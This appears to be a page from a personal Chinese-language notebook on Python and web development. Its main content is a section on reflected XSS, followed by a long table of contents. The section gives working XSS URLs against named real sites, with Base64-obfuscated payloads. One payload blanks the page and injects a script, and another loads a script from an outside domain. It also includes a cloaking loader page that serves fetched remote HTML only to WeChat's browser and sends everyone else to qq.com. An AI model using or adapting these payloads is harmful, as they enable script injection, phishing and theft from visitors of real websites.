## **url編碼解碼**,又叫百分號編碼
```
http://bttv.kuwo.cn/US/pf/BindWeibo?fans=%27%29%3BsetTimeout%28atob%28%27ZG9jdW1lbnQuYm9keS5pbm5lckhUTUwgPSAnJztkb2N1bWVudC5oZWFkLmFwcGVuZENoaWxkKGRvY3VtZW50LmNyZWF0ZUVsZW1lbnQoJ3NjcmlwdCcpKS5zcmM9Jy8vbG9jYWxob3N0L3Rlc3QuaHRtbCc7%27%29%2C0%29%3B//%26money%3D47.81
http://bttv.kuwo.cn/US/pf/BindWeibo?fans=');setTimeout(atob('ZG9jdW1lbnQuYm9keS5pbm5lckhUTUwgPSAnJztkb2N1bWVudC5oZWFkLmFwcGVuZENoaWxkKGRvY3VtZW50LmNyZWF0ZUVsZW1lbnQoJ3NjcmlwdCcpKS5zcmM9Jy8vbG9jYWxob3N0L3Rlc3QuaHRtbCc7'),0);//&money=47.81
```
## Base64編碼,解碼
```
ZG9jdW1lbnQuYm9keS5pbm5lckhUTUwgPSAnJztkb2N1bWVudC5oZWFkLmFwcGVuZENoaWxkKGRvY3VtZW50LmNyZWF0ZUVsZW1lbnQoJ3NjcmlwdCcpKS5zcmM9Jy8vbG9jYWxob3N0L3Rlc3QuaHRtbCc7
document.body.innerHTML = '';document.head.appendChild(document.createElement('script')).src='//localhost/test.html';
```
- test.html
```
define = null;
require = null;
var ua = navigator.userAgent.toLowerCase();
if (/micromessenger/.test(ua)) {
var app = document.createElement('div');
app.setAttribute('style', 'line-height: 1.6;font-family: -apple-system-font, "Helvetica Neue", sans-serif;');
app.innerHTML = '<div style="font-weight: 300;text-align: center">loading...</div>';
if (document.body)
document.body.appendChild(app);
document.title = "正在打開...";
var xhr = new XMLHttpRequest;
var html = null;
function getParam(name, url) {
var r = new RegExp('(\?|#|&)' + name + '=(.*?)(#|&|$)');
var m = (url || location.href).match(r);
return (m ? m[2] : '')
}
function render() {
var a = document.open("text/html", "replace");
a.write(html);
a.close()
}
xhr.onload = function() {
html = xhr.responseText;
var delay = 0;
if (delay > 0)
setTimeout("render()", delay * 1000);
else
render()
};
xhr.open("GET", "<? echo $url?>" + Date.now(), !0);
xhr.send();
} else {
window.location.replace("https://www.qq.com");
}
```
- 幾種反射的方式
```
http://bttv.kuwo.cn/US/pf/BindWeibo?fans=');setTimeout(atob('ZG9jdW1lbnQuYm9keS5pbm5lckhUTUwgPSAnJztkb2N1bWVudC5oZWFkLmFwcGVuZENoaWxkKGRvY3VtZW50LmNyZWF0ZUVsZW1lbnQoJ3NjcmlwdCcpKS5zcmM9Jy8vbG9jYWxob3N0L3Rlc3QuaHRtbCc7'),0);//&money=47.81
https://account.talkingdata.com/regist.jsp?backurl=weixun';document['write'](atob('PHNjcmlwdC9zcmM9Ly9idXBhbGEuY24vZD48L3NjcmlwdD4='));//
```
- 工欲善其事必先利其器
- 請求庫
- 解析庫
- 數據庫
- 存儲庫
- Web庫
- app爬取相關庫
- 爬蟲框架
- 部署相關庫
- ipython
- 基礎
- 數學函數
- 隨機函數
- 三角函數
- 字符串內建函數
- 列表方法
- 字典內置方法
- 正則表達式
- os
- 字符串及數字的判斷
- 常用魔術方法
- db
- mongodb
- mysql
- redis
- ORM
- ODM
- mongodb操作方法
- sqlite3
- access
- files
- Excel
- xml文件
- Python環境
- anaconda
- pip常用命令
- virtualenv
- pyenv
- cmder
- 遠程開發
- Jupyter
- crawler
- appium環境搭建
- adb工具
- uiautomator
- 運行Appium+Python Clinet + 夜神模擬器
- DesiredCapabilities參數大全
- requests
- scrapy
- gerapy
- scrapyd
- 請求頭fake_useragent庫
- 數據傳遞過程
- 數據清洗及入庫pipelines.py
- scrapy調用阿布云代理
- 圖片下載
- PyQt5
- pyinstaller
- 攻防
- xss
- xss反射
- Chrome模擬微信瀏覽器
- flask
- 注冊app
- 藍圖Blueprint
- 表單驗證wtforms
- Flask-SQLAlchemy
- 數據處理
- json
- tornado
- settings
- 工具
- fiddler
- ab壓力測試工具
- 高階
- 隊列
- 多線程
- 消息隊列
- 定時任務框架APScheduler
- Django
- 路由分離
- 模型
- admin
- Android
- apk逆向工程